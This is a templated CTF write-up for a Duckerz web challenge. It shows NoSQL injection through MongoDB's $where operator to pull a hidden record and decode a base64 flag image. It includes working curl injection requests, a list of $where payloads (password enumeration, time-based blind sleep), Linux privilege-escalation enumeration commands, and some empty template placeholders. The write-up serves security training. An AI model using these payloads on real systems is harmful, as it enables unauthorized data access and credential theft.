Art is an explosion (Искусство — это взрыв)
Art is an explosion (Искусство — это взрыв)
Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-09 | Status: Solved Techniques: base64_decode, mongodb_where_bypass, nosql_injection
Summary
Task: Web application with MongoDB backend exposing shop API. Solution: NoSQL injection via $where operator in GET /api/shop/{id} endpoint to find hidden record containing base64-encoded flag image.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
duckerz| ID:20260109_duckerz_art_explosion - Tags: jwt, base64, nosql, mongodb, injection, where_operator
- Indicators: MongoDB ObjectId in response, $where operator accepted, base64 encoded data
- Source:
20260109_duckerz_art_explosion.md
Foothold
Vulnerability / Misconfiguration
- base64_decode
- mongodb_where_bypass
- nosql_injection
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- base64_decode
- mongodb_where_bypass
- nosql_injection
- Tags: jwt, base64, nosql, mongodb, injection, where_operator
Original Writeup
<details><summary>Click to expand original content</summary>Description
The task name references Deidara's phrase from the anime Naruto: "Art is an explosion". The description hinted at the use of a NoSQL database (MongoDB).
URL: http://tasks.duckerz.ru:30076
Analysis
Endpoint Reconnaissance
The application had the following endpoints:
/- Login page with/api/login/register- Registration via/api/register/home,/profile,/shop- Protected pages/api/shop(POST),/api/shop/{id}(GET),/api/profile/images,/api/create,/api/categories
MongoDB Confirmation
The registration response contained a MongoDB ObjectId:
json read-only • copy allowed{"InsertedID":"69604eda76d69f228e0d1850"}
Authentication via JWT token with user_id field.
Vulnerability Discovery
| Endpoint | Result |
|---|---|
POST /api/shop | Filters ignored |
POST /api/login | Protected ("Invalid input" for operators) |
GET /api/shop/{id} | VULNERABLE to NoSQL injection via $where! |
Solution
1. Testing NoSQL Injection
Testing $where operator on GET /api/shop/{id}:
bash read-only • copy allowed# Returns first record curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22true%22%7D" -b "token=$TOKEN" # Search for records with different owner_id curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.owner_id%20!%3D%20'1'%22%7D" -b "token=$TOKEN"
2. Finding the Flag
Payload to search for hidden record with flag:
bash read-only • copy allowed# URL-encoded: {"$where":"this.name.includes('flag')"} curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.name.includes('flag')%22%7D" \ -b "token=$TOKEN"
Response:
json read-only • copy allowed{ "_id": "696046e276d69f228e0d184d", "category": "nice", "label": "initial", "name": "flag", "owner_id": 1, "path": "/tmp/d3f3n1731Y_N07_4_Fr46.png" }
The path field contained a base64-encoded PNG image.
3. Extracting the Flag
bash read-only • copy allowedTOKEN="<jwt_token>" curl -s "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.name.includes('flag')%22%7D" \ -b "token=$TOKEN" | jq -r '.path' | base64 -d > flag.png
The PNG image (1278x79 pixels) contained the flag as text.
Useful Payloads for MongoDB $where
javascript read-only • copy allowed// Basic checks {"$where":"true"} {"$where":"false"} // Field search {"$where":"this.field == 'value'"} {"$where":"this.field.includes('substring')"} {"$where":"this.field != 'value'"} // Data enumeration {"$where":"this.password.length > 10"} {"$where":"this.password[0] == 'a'"} // Time-based (for blind injection) {"$where":"sleep(5000)"}
Defense
- Validate input data types (strings only for ID)
- Use parameterized queries
- Disallow
$where,$regexoperators in user input - Sanitization via allowlist of permitted characters
signed by XESXOR